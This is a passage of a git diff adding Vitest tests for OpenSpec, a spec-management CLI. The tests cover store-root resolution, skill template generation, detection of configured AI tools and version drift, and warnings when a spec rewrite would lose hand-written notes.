pointerDir = createPointerDir('app-repo', 'store: team-context\n'); + + const warnings: string[] = []; + const original = console.error; + console.error = (message: string) => warnings.push(String(message)); + try { + const root = await resolveOpenSpecRoot({ startPath: pointerDir, globalDataDir }); + expect(root.path).toBe(storeRoot); + expect(root.storeId).toBe('team-context'); + } finally { + console.error = original; + } + }); + + it('names a .yml origin when that file was read', async () => { + const dir = mkdir('yml-pointer'); + fs.mkdirSync(path.join(dir, 'openspec'), { recursive: true }); + fs.writeFileSync(path.join(dir, 'openspec', 'config.yml'), 'store: ghost\n'); + + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ startPath: dir, globalDataDir }), + 'no_registered_stores' + ); + expect(error.message).toContain(path.join(dir, 'openspec', 'config.yml')); + }); + }); + + it('skips openspec/ directories that are neither planning-shaped nor configured (the ~/openspec layout)', async () => { + // The recommended store layout: $HOME/openspec/<store>. $HOME must + // NOT become a nearest root for everything under the home tree. + await registerStore('team-context'); + const fakeHome = path.join(tempDir, 'fake-home'); + fs.mkdirSync(path.join(fakeHome, 'openspec', 'team-context'), { recursive: true }); + const scratch = path.join(fakeHome, 'projects', 'scratch'); + fs.mkdirSync(scratch, { recursive: true }); + + // No qualifying root anywhere: the registered-store hint fires (the + // exact guidance the phantom $HOME root used to shadow). The + // isolated globalDataDir keeps this off the machine's real registry. + await expect( + resolveOpenSpecRoot({ startPath: scratch, globalDataDir }) + ).rejects.toMatchObject({ + diagnostic: expect.objectContaining({ code: 'no_root_with_registered_stores' }), + }); + }); + + describe('global defaultStore fallback (#1359)', () => { + it('resolves the global defaultStore when no local root or pointer exists', async () => { + const storeRoot = await registerStore('team-plans'); + setDefaultStore('team-plans'); + const scratch = mkdir('no-root-here'); + + const root = await resolveOpenSpecRoot({ startPath: scratch, globalDataDir }); + + expect(root.source).toBe('global_default'); + expect(root.storeId).toBe('team-plans'); + expect(root.path).toBe(storeRoot); + }); + + it('lets a nearest local root win over the global default', async () => { + await registerStore('team-plans'); + setDefaultStore('team-plans'); + const localRoot = mkdir('app'); + createOpenSpecRoot(localRoot); + const nested = path.join(localRoot, 'src'); + fs.mkdirSync(nested, { recursive: true }); + + const root = await resolveOpenSpecRoot({ startPath: nested, globalDataDir }); + + expect(root.source).toBe('nearest'); + expect(root.path).toBe(localRoot); + expect(root.storeId).toBeUndefined(); + }); + + it('lets a project-level store pointer win over the global default', async () => { + const pointed = await registerStore('team-plans'); + await registerStore('other-plans'); + setDefaultStore('other-plans'); + const pointerDir = mkdir('app-repo'); + fs.mkdirSync(path.join(pointerDir, 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(pointerDir, 'openspec', 'config.yaml'), + 'store: team-plans\n' + ); + + const root = await resolveOpenSpecRoot({ startPath: pointerDir, globalDataDir }); + + expect(root.source).toBe('declared'); + expect(root.storeId).toBe('team-plans'); + expect(root.path).toBe(pointed); + }); + + it('lets explicit --store win over the global default', async () => { + const chosen = await registerStore('team-plans'); + await registerStore('other-plans'); + setDefaultStore('other-plans'); + const scratch = mkdir('no-root-here'); + + const root = await resolveOpenSpecRoot({ + startPath: scratch, + store: 'team-plans', + globalDataDir, + }); + + expect(root.source).toBe('store'); + expect(root.storeId).toBe('team-plans'); + expect(root.path).toBe(chosen); + }); + + it('degrades a stale defaultStore to an error that names how to clear it', async () => { + await registerStore('team-plans'); + setDefaultStore('ghost-plans'); + const scratch = mkdir('no-root-here'); + + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ startPath: scratch, globalDataDir }), + 'unknown_store' + ); + expect(error.message).toContain("Global defaultStore 'ghost-plans'"); + expect(error.diagnostic.fix).toContain('openspec config unset defaultStore'); + }); + + it('falls through to the registered-store hint when no default is set', async () => { + await registerStore('team-plans'); + const scratch = mkdir('no-root-here'); + + await expectRootSelectionError( + resolveOpenSpecRoot({ startPath: scratch, globalDataDir }), + 'no_root_with_registered_stores' + ); + }); + }); + +}); diff --git a/test/core/shared/skill-content-equivalence.test.ts b/test/core/shared/skill-content-equivalence.test.ts new file mode 100644 index 0000000000..fc17838f2e --- /dev/null +++ b/test/core/shared/skill-content-equivalence.test.ts @@ -0,0 +1,53 @@ +import { describe, expect, it } from 'vitest'; +import { isLegacyCodexSkillEquivalentToCurrent } from '../../../src/core/shared/skill-content-equivalence.js'; + +describe('legacy Codex skill equivalence', () => { + it('accepts generated version, BOM, CRLF, and known dual-reference differences', () => { + const legacy = + '\uFEFF---\r\nmetadata:\r\n generatedBy: "0.1.0"\r\n---\r\nUse $openspec-apply-change.\r\n'; + const current = + '---\nmetadata:\n generatedBy: "1.7.0-beta.1+build.5"\n---\nUse $openspec-apply-change (Codex) or /openspec-apply-change (other agents).\n'; + + expect(isLegacyCodexSkillEquivalentToCurrent(legacy, current)).toBe(true); + }); + + it('preserves custom invocation examples', () => { + const legacy = + '---\nmetadata:\n generatedBy: "1.0.0"\n---\nUse $openspec-personal.\n'; + const current = + '---\nmetadata:\n generatedBy: "1.0.0"\n---\nUse $openspec-personal (Codex) or /openspec-personal (other agents).\n'; + + expect(isLegacyCodexSkillEquivalentToCurrent(legacy, current)).toBe(false); + }); + + it('preserves non-version generatedBy values', () => { + const legacy = '---\nmetadata:\n generatedBy: "custom-a"\n---\nSame body.\n'; + const current = '---\nmetadata:\n generatedBy: "custom-b"\n---\nSame body.\n'; + + expect(isLegacyCodexSkillEquivalentToCurrent(legacy, current)).toBe(false); + }); + + it.each([ + '1.0.0-preview.', + '1.0.0+build.', + '1.0.0-.', + '1.0.0+.', + '1.0.0-alpha..1', + '01.0.0', + '1.01.0', + '1.0.01', + '1.0.0-01', + ])('preserves malformed generatedBy version %s', (version) => { + const legacy = `---\nmetadata:\n generatedBy: "${version}"\n---\nSame body.\n`; + const current = '---\nmetadata:\n generatedBy: "1.0.0"\n---\nSame body.\n'; + + expect(isLegacyCodexSkillEquivalentToCurrent(legacy, current)).toBe(false); + }); + + it('preserves mismatched generatedBy quotes', () => { + const legacy = `---\nmetadata:\n generatedBy: "1.0.0'\n---\nSame body.\n`; + const current = '---\nmetadata:\n generatedBy: "1.0.0"\n---\nSame body.\n'; + + expect(isLegacyCodexSkillEquivalentToCurrent(legacy, current)).toBe(false); + }); +}); diff --git a/test/core/shared/skill-generation.test.ts b/test/core/shared/skill-generation.test.ts index 6c755f51d2..5f4bba9d55 100644 --- a/test/core/shared/skill-generation.test.ts +++ b/test/core/shared/skill-generation.test.ts @@ -8,9 +8,9 @@ import { describe('skill-generation', () => { describe('getSkillTemplates', () => { - it('should return all 11 skill templates', () => { + it('should return all 12 skill templates', () => { const templates = getSkillTemplates(); - expect(templates).toHaveLength(11); + expect(templates).toHaveLength(12); }); it('should have unique directory names', () => { @@ -28,6 +28,7 @@ describe('skill-generation', () => { expect(dirNames).toContain('openspec-new-change'); expect(dirNames).toContain('openspec-continue-change'); expect(dirNames).toContain('openspec-apply-change'); + expect(dirNames).toContain('openspec-update-change'); expect(dirNames).toContain('openspec-ff-change'); expect(dirNames).toContain('openspec-sync-specs'); expect(dirNames).toContain('openspec-archive-change'); @@ -88,9 +89,9 @@ describe('skill-generation', () => { }); describe('getCommandTemplates', () => { - it('should return all 11 command templates', () => { + it('should return all 12 command templates', () => { const templates = getCommandTemplates(); - expect(templates).toHaveLength(11); + expect(templates).toHaveLength(12); }); it('should have unique IDs', () => { @@ -108,6 +109,7 @@ describe('skill-generation', () => { expect(ids).toContain('new'); expect(ids).toContain('continue'); expect(ids).toContain('apply'); + expect(ids).toContain('update'); expect(ids).toContain('ff'); expect(ids).toContain('sync'); expect(ids).toContain('archive'); @@ -142,9 +144,9 @@ describe('skill-generation', () => { }); describe('getCommandContents', () => { - it('should return all 11 command contents', () => { + it('should return all 12 command contents', () => { const contents = getCommandContents(); - expect(contents).toHaveLength(11); + expect(contents).toHaveLength(12); }); it('should have valid content structure', () => { diff --git a/test/core/shared/skill-paths.test.ts b/test/core/shared/skill-paths.test.ts new file mode 100644 index 0000000000..a2a1157a3a --- /dev/null +++ b/test/core/shared/skill-paths.test.ts @@ -0,0 +1,37 @@ +import path from 'node:path'; +import { describe, expect, it } from 'vitest'; + +import { AI_TOOLS } from '../../../src/core/config.js'; +import { + getSkillCapableTools, + resolveToolSkillsDir, + toolSupportsSkills, +} from '../../../src/core/shared/skill-paths.js'; + +describe('skill-paths', () => { + it('includes project-local and global skill targets', () => { + const toolIds = getSkillCapableTools().map((tool) => tool.value); + expect(toolIds).toContain('claude'); + expect(toolIds).toContain('minimax-code'); + }); + + it('resolves project-local skills under the project root', () => { + const claude = AI_TOOLS.find((tool) => tool.value === 'claude'); + expect(claude && toolSupportsSkills(claude)).toBe(true); + if (!claude || !toolSupportsSkills(claude)) return; + + expect(resolveToolSkillsDir('/repo/app', claude)).toBe( + path.join('/repo/app', '.claude', 'skills') + ); + }); + + it('resolves MiniMax Code skills under the supplied user home', () => { + const minimax = AI_TOOLS.find((tool) => tool.value === 'minimax-code'); + expect(minimax && toolSupportsSkills(minimax)).toBe(true); + if (!minimax || !toolSupportsSkills(minimax)) return; + + expect(resolveToolSkillsDir('/repo/app', minimax, { homeDir: '/home/alex' })).toBe( + path.join('/home/alex', '.minimax', 'skills') + ); + }); +}); diff --git a/test/core/shared/tool-detection.test.ts b/test/core/shared/tool-detection.test.ts index 5a66ff3cd5..5905c87b73 100644 --- a/test/core/shared/tool-detection.test.ts +++ b/test/core/shared/tool-detection.test.ts @@ -1,8 +1,7 @@ -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; import { SKILL_NAMES, getToolsWithSkillsDir, @@ -18,21 +17,25 @@ describe('tool-detection', () => { let testDir: string; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-test-${randomUUID()}`); - await fs.mkdir(testDir, { recursive: true }); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-test-')); + vi.stubEnv('XDG_CONFIG_HOME', path.join(testDir, 'config')); + vi.stubEnv('HOME', path.join(testDir, 'home')); + vi.stubEnv('USERPROFILE', path.join(testDir, 'home')); }); afterEach(async () => { + vi.unstubAllEnvs(); await fs.rm(testDir, { recursive: true, force: true }); }); describe('SKILL_NAMES', () => { it('should contain all skill names matching COMMAND_IDS', () => { - expect(SKILL_NAMES).toHaveLength(11); + expect(SKILL_NAMES).toHaveLength(12); expect(SKILL_NAMES).toContain('openspec-explore'); expect(SKILL_NAMES).toContain('openspec-new-change'); expect(SKILL_NAMES).toContain('openspec-continue-change'); expect(SKILL_NAMES).toContain('openspec-apply-change'); + expect(SKILL_NAMES).toContain('openspec-update-change'); expect(SKILL_NAMES).toContain('openspec-ff-change'); expect(SKILL_NAMES).toContain('openspec-sync-specs'); expect(SKILL_NAMES).toContain('openspec-archive-change'); @@ -47,8 +50,13 @@ describe('tool-detection', () => { it('should return tools that have skillsDir configured', () => { const tools = getToolsWithSkillsDir(); expect(tools).toContain('claude'); + expect(tools).toContain('codeartsagent'); expect(tools).toContain('cursor'); - expect(tools).toContain('windsurf'); + expect(tools).toContain('devin'); + // `--tools all` resolves to exactly this list, so `agents` being here is what + // puts the shared target in an `--tools all` run. + expect(tools).toContain('agents'); + expect(tools).toContain('minimax-code'); expect(tools.length).toBeGreaterThan(0); }); }); @@ -79,6 +87,15 @@ describe('tool-detection', () => { expect(status.skillCount).toBe(1); }); + it('should detect legacy Codex skills before they are migrated', async () => { + const skillDir = path.join(testDir, '.codex', 'skills', 'openspec-explore'); + await fs.mkdir(skillDir, { recursive: true }); + await fs.writeFile(path.join(skillDir, 'SKILL.md'), 'legacy content'); + + expect(getToolSkillStatus(testDir, 'codex').configured).toBe(true); + expect(getConfiguredTools(testDir)).toContain('codex'); + }); + it('should detect when all skills exist', async () => { for (const skillName of SKILL_NAMES) { const skillDir = path.join(testDir, '.claude', 'skills', skillName); @@ -91,6 +108,38 @@ describe('tool-detection', () => { expect(status.fullyConfigured).toBe(true); expect(status.skillCount).toBe(SKILL_NAMES.length); }); + + it('should detect MiniMax Code only from its global OpenSpec skill target', async () => { + const globalSkill = path.join( + testDir, + 'home', + '.minimax', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(globalSkill), { recursive: true }); + await fs.writeFile(globalSkill, 'test content'); + + expect(getToolSkillStatus(testDir, 'minimax-code')).toMatchObject({ + configured: true, + fullyConfigured: false, + skillCount: 1, + }); + + await fs.rm(path.join(testDir, 'home'), { recursive: true, force: true }); + const localSkill = path.join( + testDir, + '.minimax', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(localSkill), { recursive: true }); + await fs.writeFile(localSkill, 'test content'); + + expect(getToolSkillStatus(testDir, 'minimax-code').configured).toBe(false); + }); }); describe('getToolStates', () => { @@ -112,6 +161,59 @@ describe('tool-detection', () => { expect(states.get('claude')?.configured).toBe(true); expect(states.get('cursor')?.configured).toBe(false); }); + + it('should expose only the marked owner of a shared skill tree as configured', async () => { + const skillsDir = path.join(testDir, '.agents', 'skills'); + const skillDir = path.join(skillsDir, 'openspec-explore'); + await fs.mkdir(skillDir, { recursive: true }); + await fs.writeFile(path.join(skillDir, 'SKILL.md'), 'test content'); + await fs.writeFile(path.join(skillsDir, '.openspec-target'), 'agents\n'); + + const states = getToolStates(testDir); + expect(states.get('agents')?.configured).toBe(true); + expect(states.get('codex')?.configured).toBe(false); + expect(getToolSkillStatus(testDir, 'agents').configured).toBe(true); + expect(getToolSkillStatus(testDir, 'codex').configured).toBe(false); + expect(getToolVersionStatus(testDir, 'codex', '0.23.0').configured).toBe(false); + }); + + it('should preserve global tool state while reconciling a shared project root', async () => { + const sharedSkills = path.join(testDir, '.agents', 'skills'); + const sharedSkill = path.join(sharedSkills, 'openspec-explore', 'SKILL.md'); + const globalSkill = path.join( + testDir, + 'home', + '.minimax', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(sharedSkill), { recursive: true }); + await fs.writeFile(sharedSkill, 'content'); + await fs.writeFile(path.join(sharedSkills, '.openspec-target'), 'agents\n'); + await fs.mkdir(path.dirname(globalSkill), { recursive: true }); + await fs.writeFile(globalSkill, 'content'); + + const states = getToolStates(testDir); + expect(states.get('agents')?.configured).toBe(true); + expect(states.get('codex')?.configured).toBe(false); + expect(states.get('minimax-code')?.configured).toBe(true); + expect(getConfiguredTools(testDir)).toEqual(['minimax-code', 'agents']); + }); + + it('should preserve marker-only ownership when delivery intentionally has no skills', async () => { + const skillsDir = path.join(testDir, '.agents', 'skills'); + await fs.mkdir(skillsDir, { recursive: true }); + await fs.writeFile(path.join(skillsDir, '.openspec-target'), 'agents\n'); + + const states = getToolStates(testDir); + expect(states.get('agents')).toEqual({ + configured: true, + fullyConfigured: false, + skillCount: 0, + }); + expect(states.get('codex')?.configured).toBe(false); + }); }); describe('extractGeneratedByVersion', () => { @@ -258,6 +360,182 @@ Content here expect(status.needsUpdate).toBe(false); }); + it('should detect configured status and version match for commands-only setup', async () => { + const { InitCommand } = await import('../../../src/core/init.js'); + const { saveGlobalConfig } = await import('../../../src/core/global-config.js'); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await initCommand.execute(testDir); + + const { version } = await import('../../../package.json'); + const status = getToolVersionStatus(testDir, 'claude', version, { + workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'], + }); + + expect(status.configured).toBe(true); + expect(status.generatedByVersion).toBe(version); + expect(status.needsUpdate).toBe(false); + }); + + // Command paths vary in shape across adapters: a nested directory with a + // per-tool extension (gemini writes TOML), a flat opsx-* file, and — for + // cline — a directory that is not the tool's skillsDir at all. + it.each([ + ['gemini', path.join('.gemini', 'commands', 'opsx', 'explore.toml')], + ['cursor', path.join('.cursor', 'commands', 'opsx-explore.md')], + ['cline', path.join('.clinerules', 'workflows', 'opsx-explore.md')], + ])('should fingerprint commands-only %s installs', async (toolId, explorePath) => { + const { InitCommand } = await import('../../../src/core/init.js'); + const { saveGlobalConfig } = await import('../../../src/core/global-config.js'); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + + const initCommand = new InitCommand({ tools: toolId, force: true }); + await initCommand.execute(testDir); + + const { version } = await import('../../../package.json'); + const coreWorkflows = ['propose', 'explore', 'apply', 'update', 'sync', 'archive']; + + // cline's commands live outside its skillsDir (.cline), so a commands-only + // install leaves that directory absent entirely. + expect(getConfiguredTools(testDir)).toContain(toolId); + + const fresh = getToolVersionStatus(testDir, toolId, version, { workflows: coreWorkflows }); + expect(fresh.configured).toBe(true); + expect(fresh.generatedByVersion).toBe(version); + expect(fresh.needsUpdate).toBe(false); + + await fs.writeFile(path.join(testDir, explorePath), 'stale content'); + + const drifted = getToolVersionStatus(testDir, toolId, version, { workflows: coreWorkflows }); + expect(drifted.generatedByVersion).toBeNull(); + expect(drifted.needsUpdate).toBe(true); + }); + + it('should fingerprint a custom profile against its own workflow subset', async () => { + const { InitCommand } = await import('../../../src/core/init.js'); + const { saveGlobalConfig } = await import('../../../src/core/global-config.js'); + const customWorkflows = ['explore', 'apply']; + saveGlobalConfig({ + featureFlags: {}, + profile: 'custom', + delivery: 'commands', + workflows: customWorkflows, + }); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await initCommand.execute(testDir); + + const { version } = await import('../../../package.json'); + const status = getToolVersionStatus(testDir, 'claude', version, { + workflows: customWorkflows, + }); + + expect(status.configured).toBe(true); + expect(status.generatedByVersion).toBe(version); + expect(status.needsUpdate).toBe(false); + + // The core set is a superset of this profile, so comparing against it must + // report drift — the fingerprint has to use the workflows actually selected. + const againstCore = getToolVersionStatus(testDir, 'claude', version, { + workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'], + }); + expect(againstCore.needsUpdate).toBe(true); + }); + + it('should treat CRLF line endings and a BOM as up to date, not as drift', async () => { + const { InitCommand } = await import('../../../src/core/init.js'); + const { saveGlobalConfig } = await import('../../../src/core/global-config.js'); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await initCommand.execute(testDir); + + // A Windows clone with core.autocrlf re-materializes committed command + // files with CRLF endings; that is a checkout artifact, not content drift. + const commandsDir = path.join(testDir, '.claude', 'commands', 'opsx'); + for (const entry of await fs.readdir(commandsDir)) { + const file = path.join(commandsDir, entry); + const content = await fs.readFile(file, 'utf-8'); + await fs.writeFile(file, '\ufeff' + content.replace(/\r?\n/g, '\r\n')); + } + + const { version } = await import('../../../package.json'); + const status = getToolVersionStatus(testDir, 'claude', version, { + workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'], + }); + + expect(status.generatedByVersion).toBe(version); + expect(status.needsUpdate).toBe(false); + }); + + it('should detect needsUpdate when a deselected workflow left a command file behind', async () => { + const { InitCommand } = await import('../../../src/core/init.js'); + const { saveGlobalConfig } = await import('../../../src/core/global-config.js'); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await initCommand.execute(testDir); + + // A workflow that is no longer selected still has a command file on disk + const strayFile = path.join(testDir, '.claude', 'commands', 'opsx', 'verify.md'); + await fs.writeFile(strayFile, 'stray command from a previous profile'); + + const { version } = await import('../../../package.json'); + const status = getToolVersionStatus(testDir, 'claude', version, { + workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'], + }); + + expect(status.configured).toBe(true); + expect(status.generatedByVersion).toBeNull(); + expect(status.needsUpdate).toBe(true); + }); + + it('should not let matching command files mask an unreadable skill version', async () => { + const { InitCommand } = await import('../../../src/core/init.js'); + const { saveGlobalConfig } = await import('../../../src/core/global-config.js'); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both' }); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await initCommand.execute(testDir); + + // Corrupt a skill file so its generatedBy version can no longer be read, + // while every command file still matches the current generated content. + const skillFile = path.join(testDir, '.claude', 'skills', 'openspec-explore', 'SKILL.md'); + await fs.writeFile(skillFile, 'truncated skill file'); + + const { version } = await import('../../../package.json'); + const status = getToolVersionStatus(testDir, 'claude', version, { + workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'], + }); + + expect(status.configured).toBe(true); + expect(status.generatedByVersion).toBeNull(); + expect(status.needsUpdate).toBe(true); + }); + + it('should detect needsUpdate when command file content differs in commands-only setup', async () => { + const { InitCommand } = await import('../../../src/core/init.js'); + const { saveGlobalConfig } = await import('../../../src/core/global-config.js'); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await initCommand.execute(testDir); + + // Modify one command file + const cmdFile = path.join(testDir, '.claude', 'commands', 'opsx', 'explore.md'); + await fs.writeFile(cmdFile, 'outdated content'); + + const { version } = await import('../../../package.json'); + const status = getToolVersionStatus(testDir, 'claude', version, { + workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'], + }); + + expect(status.configured).toBe(true); + expect(status.generatedByVersion).toBeNull(); + expect(status.needsUpdate).toBe(true); + }); + it('should include tool name in status', async () => { const skillDir = path.join(testDir, '.claude', 'skills', 'openspec-explore'); await fs.mkdir(skillDir, { recursive: true }); @@ -329,5 +607,19 @@ metadata: expect(cursorStatus?.generatedByVersion).toBe('0.23.0'); expect(cursorStatus?.needsUpdate).toBe(false); }); + + it('should treat a marker-only target as configured', async () => { + const skillsDir = path.join(testDir, '.agents', 'skills'); + await fs.mkdir(skillsDir, { recursive: true }); + await fs.writeFile(path.join(skillsDir, '.openspec-target'), 'agents\n'); + + const statuses = getAllToolVersionStatus(testDir, '0.23.0'); + expect(statuses).toHaveLength(1); + expect(statuses[0]).toMatchObject({ + toolId: 'agents', + configured: true, + needsUpdate: true, + }); + }); }); }); diff --git a/test/core/specs-apply.salvage.test.ts b/test/core/specs-apply.salvage.test.ts new file mode 100644 index 0000000000..af82c2be6e --- /dev/null +++ b/test/core/specs-apply.salvage.test.ts @@ -0,0 +1,235 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { promises as fs } from 'fs'; +import path from 'path'; +import os from 'os'; +import { buildUpdatedSpec, findSpecUpdates } from '../../src/core/specs-apply.js'; + +// A requirement block runs to the next header the parser RECOGNISES, so a note +// written below it - indented by the 0-3 spaces CommonMark allows, say - is +// absorbed into that requirement and goes when the requirement is rewritten or +// removed. The loss was silent: nothing counted the note, so nothing said a +// word, and the spec left behind still validated. +// +// It is reported, not moved. A heading-shaped line inside a scenario (a +// `# comment`, a markdown example) is indistinguishable from a real note by any +// line-based rule, and relocating one of those rewrites the spec wrongly - +// resurrecting superseded text on MODIFIED, and growing the file on every +// re-apply. A wrong warning costs a line of output instead. +describe('buildUpdatedSpec (content absorbed into a requirement)', () => { + let tempDir: string; + + beforeEach(async () => { + tempDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-orphan-')); + }); + afterEach(async () => { + await fs.rm(tempDir, { recursive: true, force: true }); + }); + + async function build(specBody: string[], deltaBody: string[]) { + const specsDir = path.join(tempDir, 'openspec', 'specs', 'demo'); + const changeDir = path.join(tempDir, 'openspec', 'changes', 'c'); + await fs.mkdir(specsDir, { recursive: true }); + await fs.mkdir(path.join(changeDir, 'specs', 'demo'), { recursive: true }); + await fs.writeFile(path.join(specsDir, 'spec.md'), specBody.join('\n')); + await fs.writeFile(path.join(changeDir, 'specs', 'demo', 'spec.md'), deltaBody.join('\n')); + const [update] = await findSpecUpdates(changeDir, path.join(tempDir, 'openspec', 'specs')); + return buildUpdatedSpec(update, 'c', { silent: true }); + } + + const REQUIREMENT = [ + '### Requirement: Target', + 'The system SHALL target.', + '', + '#### Scenario: S', + '- **WHEN** a', + '- **THEN** b', + ]; + const SPEC = (middle: string[]) => [ + '# demo Specification', + '', + '## Purpose', + 'Why this exists.', + '', + '## Requirements', + '', + ...REQUIREMENT, + '', + ...middle, + '', + '### Requirement: Other', + 'The system SHALL other.', + '', + '#### Scenario: T', + '- **WHEN** c', + '- **THEN** d', + '', + ]; + const REMOVE = [ + '# demo - Changes', + '', + '## REMOVED Requirements', + '', + '### Requirement: Target', + '**Reason**: x.', + '**Migration**: None.', + '', + ]; + + it.each([ + { what: 'an indented note', line: ' ### Notes' }, + { what: 'an unindented note', line: '### Notes' }, + { what: 'an indented requirement header', line: ' ### Requirement: Absorbed' }, + { what: 'an empty ATX heading', line: '###' }, + ])('warns that $what goes with the requirement it sits in', async ({ line }) => { + const { warnings } = await build(SPEC([line, 'Kept by hand.']), REMOVE); + expect(warnings.join('\n')).toContain(line.trim()); + expect(warnings.join('\n')).toContain('goes with it'); + }); + + it('says nothing when a requirement holds only its own content', async () => { + const { warnings } = await build(SPEC([]), REMOVE); + expect(warnings.join('\n')).not.toContain('goes with it'); + }); + + it('does not warn about a requirement left untouched', async () => { + // The note sits in `Target`, which this delta does not mention. + const { warnings } = await build(SPEC([' ### Notes', 'Kept by hand.']), [ + '# demo - Changes', + '', + '## ADDED Requirements', + '', + '### Requirement: Fresh', + 'The system SHALL be fresh.', + '', + '#### Scenario: F', + '- **WHEN** a', + '- **THEN** b', + '', + ]); + expect(warnings.join('\n')).not.toContain('goes with it'); + }); + + it('ignores a heading inside a fenced example', async () => { + const { warnings } = await build( + SPEC(['```markdown', '### Requirement: Example', '```']), + REMOVE + ); + expect(warnings.join('\n')).not.toContain('goes with it'); + }); + + it("leaves a requirement's own scenarios alone", async () => { + // `####` must not count, or every requirement would look like it holds + // foreign content. + const { warnings } = await build(SPEC([]), REMOVE); + expect(warnings.join('\n')).not.toContain('Scenario'); + }); + + it('does not warn when RENAMED carries the full absorbed tail forward', async () => { + const tail = [' ### Notes', 'Kept by hand.']; + const { rebuilt, counts, warnings } = await build(SPEC(tail), [ + '# demo - Changes', + '', + '## RENAMED Requirements', + '', + '- FROM: `### Requirement: Target`', + '- TO: `### Requirement: Renamed`', + '', + ]); + + expect(rebuilt).toContain(tail.join('\n')); + expect(counts.renamed).toBe(1); + expect(warnings.join('\n')).not.toContain('goes with it'); + }); + + it('does not warn when MODIFIED carries the full absorbed tail forward', async () => { + const tail = [' ### Notes', 'Kept by hand.']; + const { rebuilt, counts, warnings } = await build(SPEC(tail), [ + '# demo - Changes', + '', + '## MODIFIED Requirements', + '', + ...REQUIREMENT, + '', + ...tail, + '', + ]); + + expect(rebuilt).toContain(tail.join('\n')); + expect(counts.modified).toBe(0); + expect(warnings.join('\n')).not.toContain('goes with it'); + }); + + it('warns when MODIFIED keeps the heading but drops part of the absorbed tail', async () => { + const tail = [' ### Notes', 'Kept by hand.']; + const { rebuilt, warnings } = await build(SPEC(tail), [ + '# demo - Changes', + '', + '## MODIFIED Requirements', + '', + ...REQUIREMENT, + '', + tail[0], + '', + ]); + + expect(rebuilt).not.toContain(tail[1]); + expect(warnings.join('\n')).toContain(tail[0].trim()); + expect(warnings.join('\n')).toContain('goes with it'); + }); + + it('does not let an identical earlier copy mask loss of the absorbed tail', async () => { + const repeated = [' ### Notes', 'Kept by hand.']; + const requirementWithExample = [ + '### Requirement: Target', + 'The system SHALL target.', + '', + '```markdown', + ...repeated, + '```', + '', + '#### Scenario: S', + '- **WHEN** a', + '- **THEN** b', + ]; + const spec = [ + '# demo Specification', + '', + '## Purpose', + 'Why this exists.', + '', + '## Requirements', + '', + ...requirementWithExample, + '', + ...repeated, + '', + '### Requirement: Other', + 'The system SHALL other.', + '', + '#### Scenario: T', + '- **WHEN** c', + '- **THEN** d', + '', + ]; + const { rebuilt, warnings } = await build(spec, [ + '# demo - Changes', + '', + '## MODIFIED Requirements', + '', + ...requirementWithExample, + '', + ]); + + expect(rebuilt).toContain(repeated.join('\n')); + expect(warnings.join('\n')).toContain(repeated[0].trim()); + expect(warnings.join('\n')).toContain('goes with it'); + }); + + it('rewrites the spec exactly as before - nothing is moved', async () => { + const { rebuilt } = await build(SPEC([' ### Notes', 'Kept by hand.']), REMOVE); + // The note is reported, not relocated: it goes with the requirement, which + // is the pre-existing behaviour this warning exists to surface. + expect(rebuilt).not.toContain('Kept by hand.'); + expect(rebuilt).toContain('### Requirement: Other'); + }); +}); diff --git a/test/core/specs-apply.security.test.ts b/test/core/specs-apply.security.test.ts new file mode 100644 index 0000000000..63ad9181b3 --- /dev/null +++ b/test/core/specs-apply.security.test.ts @@ -0,0 +1,157 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { + buildUpdatedSpec, + findSpecUpdates, + writeUpdatedSpec, +} from '../../src/core/specs-apply.js'; + +const itWithSymlinks = it.skipIf(process.platform === 'win32'); + +describe('spec apply path boundaries', () => { + let tempDir: string; + let changeDir: string; + let changeSpecsDir: string; + let mainSpecsDir: string; + let outsideDir: string; + + beforeEach(async () => { + tempDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-spec-apply-security-')); + changeDir = path.join(tempDir, 'openspec', 'changes', 'test-change'); + changeSpecsDir = path.join(changeDir, 'specs'); + mainSpecsDir = path.join(tempDir, 'openspec', 'specs'); + outsideDir = path.join(tempDir, 'outside'); + await fs.mkdir(changeSpecsDir, { recursive: true }); + await fs.mkdir(mainSpecsDir, { recursive: true }); + await fs.mkdir(outsideDir, { recursive: true }); + }); + + afterEach(async () => { + await fs.rm(tempDir, { recursive: true, force: true }); + }); + + async function writeDelta(id = 'widgets'): Promise<string> { + const deltaPath = path.join(changeSpecsDir, id, 'spec.md'); + await fs.mkdir(path.dirname(deltaPath), { recursive: true }); + await 